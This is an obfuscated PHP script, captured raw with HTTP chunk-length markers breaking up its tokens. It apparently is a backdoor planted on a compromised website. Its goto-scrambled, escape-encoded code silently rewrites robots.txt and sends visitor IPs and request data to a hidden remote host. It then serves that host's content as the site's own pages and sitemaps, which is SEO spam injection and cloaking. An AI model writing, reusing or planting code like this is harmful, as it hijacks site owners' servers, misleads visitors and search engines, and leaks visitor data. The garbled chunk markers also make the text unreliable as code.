1 < 12 ?php goto NWuLZ; 14 N2pxL: if (!empty($ 14 get["\162"])) { $rob 12 otsPath = $_SERVER 1d ["\104\x4f\x43\x55\x4d\x45\11 20 6\124\x5f\122\x4f\x4f\124"] . "\ 1b x2f\162\157\142\x6f\x74\163 1a \56\x74\x78\x74"; $sitemap 1f Block = "\x55\x73\x65\x72\x2d\x 20 61\147\145\x6e\x74\72\x20\x2a\xa 2e \101\154\154\x6f\x77\x3a\x20\x2f\12"; $sitemap 24 s = "\xa\123\151\164\x65\x6d\x61\160 21 \72\x20{$http_type}{$_SERVER["\x4 23 8\x54\x54\120\137\110\117\123\124"] 30 }{$_SERVER["\x53\103\122\x49\x50\x54\x5f\116\x41 26 \x4d\x45"]}\77\163\x3d\x73\12"; if (!f 23 ile_exists($robotsPath)) { file_put 33 _contents($robotsPath, $sitemapBlock . $sitemaps); 23 } else { $robotsContent = @file_get 3f _contents($robotsPath); if (strpos($robotsContent, $_SERVER["\1 37 23\x43\x52\x49\x50\x54\x5f\x4e\x41\x4d\x45"]) === false 37 ) { @file_put_contents($robotsPath, $sitemaps, FILE_APP 1f END); } } } goto EzYoe; NWuLZ: 14 error_reporting(0); 1f goto yMqRN; yMqRN: $get = $_GET 18 ; goto shqZL; Aq5NJ: $ll 3e = "{$http_type}{$_SERVER["\110\124\124\120\137\x48\x4f\123\x5 36 4"]}{$_SERVER["\x53\x43\122\111\x50\x54\137\116\x41\11 1b 5\105"]}"; goto D_iaM; m5bk 15 F: function getCurl($ 1b url, $getData = array()) { 27 if (!empty($getData)) { $queryString = 25 is_array($getData) ? http_build_query 2e ($getData) : $getData; $url .= (strpos($url, " 30 \77") === false ? "\77" : "\x26") . $queryString 2f ; } if (function_exists("\143\x75\x72\154\137\x 21 69\156\151\164")) { $ch = curl_in 23 it(); curl_setopt_array($ch, array( 1e CURLOPT_URL => $url, CURLOPT_R 15 ETURNTRANSFER => true 21 , CURLOPT_SSL_VERIFYPEER => false 34 , CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOC 24 ATION => true, CURLOPT_TIMEOUT => 10 2b , CURLOPT_HTTPGET => true, CURLOPT_USERAGEN 28 T => "\115\157\172\151\154\x6c\141\57\x3 1e 5\x2e\60")); $data = curl_exec 30 ($ch); curl_close($ch); if (!empty($data)) { ret 29 urn $data; } } if (ini_get("\141\154\x6c\ 28 x6f\167\x5f\x75\162\154\x5f\146\157\160\ 26 x65\156")) { $context = stream_context 20 _create(array("\x68\164\x74\160" 2a => array("\155\x65\164\x68\x6f\x64" => "\ 23 x47\105\x54", "\x74\x69\155\145\x6f 33 \x75\x74" => 10, "\150\x65\x61\x64\x65\162" => "\12 31 5\163\x65\162\x2d\x41\147\145\x6e\164\x3a\40\x4d\ 27 157\x7a\151\x6c\x6c\x61\x2f\x35\x2e\60\ 34 15\12"), "\163\x73\x6c" => array("\166\x65\162\x69\1 31 46\x79\137\160\x65\145\162" => false, "\x76\145\x 2c 72\151\146\171\137\x70\145\145\162\x5f\x6e\1 41 41\x6d\x65" => false))); $data = @file_get_contents($url, false, 4a $context); if (!empty($data)) { return $data; } } return ''; } goto X5nb1; 2c D_iaM: $vurl = $http_type . "\x69\144\154\x 25 79\62\56\x69\x64\x73\x68\157\x70\x2e\ 1f x63\143\167\x75\56\143\x63\x2f\ 29 64\61\71\56\x61\163\x70\x78"; goto N2pxL; 3a EzYoe: if (!empty($get["\163"])) { $params = array("\163" 24 => date("\131\x6d\144\x48\151"), "\ 3b x6e\165\155\142\x65\162" => $get["\156\165\x6d\x62\145\162" 2e ]); $str = getCurl($vurl, $params); $str = str 1f _replace(array("\173\xe5\275\22 1f 3\xe5\x89\x8d\345\x9c\260\xe5\2 38 35\x80\x7d"), array($http_type . $_SERVER["\110\x54\x54\ 40 x50\x5f\110\117\x53\124"] . $_SERVER["\123\x43\122\x49\x50\124\1 28 37\116\x41\x4d\x45"]), $str); header("\1 2f 03\157\156\x74\x65\156\164\x2d\164\171\160\x65\ 27 72\164\x65\170\x74\57\x78\155\154"); ec 22 ho $str; die; } goto N4dac; X5nb1: 3a $http_type = !empty($_SERVER["\110\x54\x54\120\123"]) && 30 $_SERVER["\x48\124\124\x50\123"] !== "\x6f\146\x 2d 66" ? "\x68\164\164\160\x73\x3a\x2f\x2f" : "\ 2e 150\164\164\160\x3a\x2f\57"; goto Aq5NJ; f5XoA 49 : function postCurl($url, $postData = array()) { $postString = is_array($ 66 postData) ? http_build_query($postData) : $postData; if (function_exists("\143\x75\162\154\x5f\x69\x6e 113 \x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELD 9b S => $postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\x5f\x75\162\154\x5f\x 6e 66\x6f\x70\145\156")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\145\164\150\1 33 57\144" => "\120\x4f\x53\124", "\164\x69\155\x65\15 34 7\165\x74" => 10, "\x68\x65\141\144\x65\x72" => "\10 2e 3\x6f\156\x74\x65\x6e\x74\55\124\171\x70\x65\x 32 3a\x20\x61\160\160\x6c\x69\x63\x61\x74\x69\x6f\x6e 30 \57\x78\55\x77\x77\167\55\x66\x6f\x72\155\x2d\16 2c 5\162\x6c\x65\156\143\157\144\145\144\xd\12" 3d . "\x43\x6f\156\x74\145\156\x74\x2d\x4c\145\x6e\147\164\x68\ 26 72\40" . strlen($postString) . "\xd\xa 2f " . "\125\x73\145\x72\x2d\101\x67\x65\156\164\x 36 3a\40\x4d\157\172\151\x6c\x6c\141\x2f\65\56\x30\xd\xa" 58 , "\143\x6f\x6e\164\145\x6e\164" => $postString), "\163\x73\x6c" => array("\x76\145\x72\ 48 x69\146\171\x5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f 9f \160\145\x65\x72\137\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 41 m5bkF; N4dac: if (!empty($get["\151\144"])) { if (empty($get["\15 34 3\153"])) { $ip = get_ip(); $params = array("\x69\16 2f 0" => $ip, "\x69\144" => isset($get["\x69\144"] 29 ) ? $get["\151\x64"] : '', "\x6c\x6c" => 4b $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== 48 false) { echo $tzstr; die; } } $params = array("\x69\x64" => $get["\x69\ 5f x64"], "\x6c\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x 1f 52\x4c\175", "\173\345\237\237\ 2b 345\x90\215\175"), array(get_url_info("\146 36 \165\154\x6c"), get_url_info("\156\157\137\x77\167\167 36 ")), $str); echo $str; die; } else { $sitemapUrl = $ll 2e . "\x3f\x73\x3d" . date("\131\155\144\110\x69 32 "); echo "\74\144\x69\166\40\x73\164\171\154\145\x 2c 3d\x27\x74\145\170\164\x2d\x61\154\151\147\1 33 56\x3a\x63\145\x6e\164\x65\x72\73\40\160\x61\144\14 2b 4\x69\156\x67\72\61\x30\160\170\40\x30\73\x 27 27\76\x3c\x61\x20\150\162\x65\146\75\42 2f {$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x 2c 3d\42\x5f\x62\154\141\x6e\x6b\42\40\162\x65\ 31 x6c\x3d\x22\x6e\157\x66\157\x6c\x6c\157\167\x22\x 32 3e\x20\x53\x69\x74\x65\x6d\x61\160\74\57\141\x3e\x 23 3c\x2f\144\151\166\76"; } goto nnSB 23 p; Uh8So: function get_ip() { forea 32 ch (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x5 21 2\127\101\122\104\x45\104\x5f\x46 2d \x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\ 34 105\x4e\x54\137\111\x50", "\x52\x45\x4d\117\x54\x45\ 1d x5f\101\x44\x44\x52") as $key 32 ) { if (!empty($_SERVER[$key])) { return trim(expl 25 ode("\x2c", $_SERVER[$key])[0]); } } 2e return "\x55\x4e\113\116\x4f\x57\116"; } goto 3a f5XoA; shqZL: function get_url_info(string $return_type = 29 "\144\157\155\141\151\x6e") : string { $h 4b ost = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; if ($return_type == 34 = "\144\x6f\155\x61\x69\156") { return $host; } if ( 47 $return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x7 21 7\x77\167\x2e"); } $protocol = is 55 set($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\1 37 56" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106 37 \x4f\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4 4f f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\ 33 104\137\x50\122\x4f\x54\117"] === "\150\x74\x74\160 2e \x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\ 34 x68\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . 49 $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $u 32 ri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x5 29 5\122\x49"]; $full_url = $base_url . $uri 53 ; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto 10 Uh8So; nnSBp: ?> 0